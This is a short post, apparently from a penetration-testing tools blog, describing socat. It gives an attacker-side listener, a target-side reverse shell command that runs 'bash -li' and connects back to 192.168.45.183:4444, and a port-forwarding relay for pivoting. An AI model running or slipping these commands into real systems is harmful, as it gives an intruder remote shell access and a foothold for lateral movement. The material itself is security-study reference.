ToolsFebruary 9, 20261 min readby 0xt0pus

Socat

Multipurpose relay tool for bidirectional data transfer and port forwarding


Socat

Description

Socat is an advanced networking tool used for port forwarding, creating stable reverse shells, and relaying connections. It is more powerful than netcat and supports features like TTY handling.

Usage 1: Stable Shell - Listener (On Attacker)

Command:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Usage 2: Stable Shell - Connect Back (On Target)

Command:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.45.183:4444

Usage 3: Port Forwarding Relay

Forward traffic from one port to another for pivoting.

Command:

socat TCP-LISTEN:1313,bind=10.90.60.80,fork,reuseaddr TCP:172.16.40.5:1313&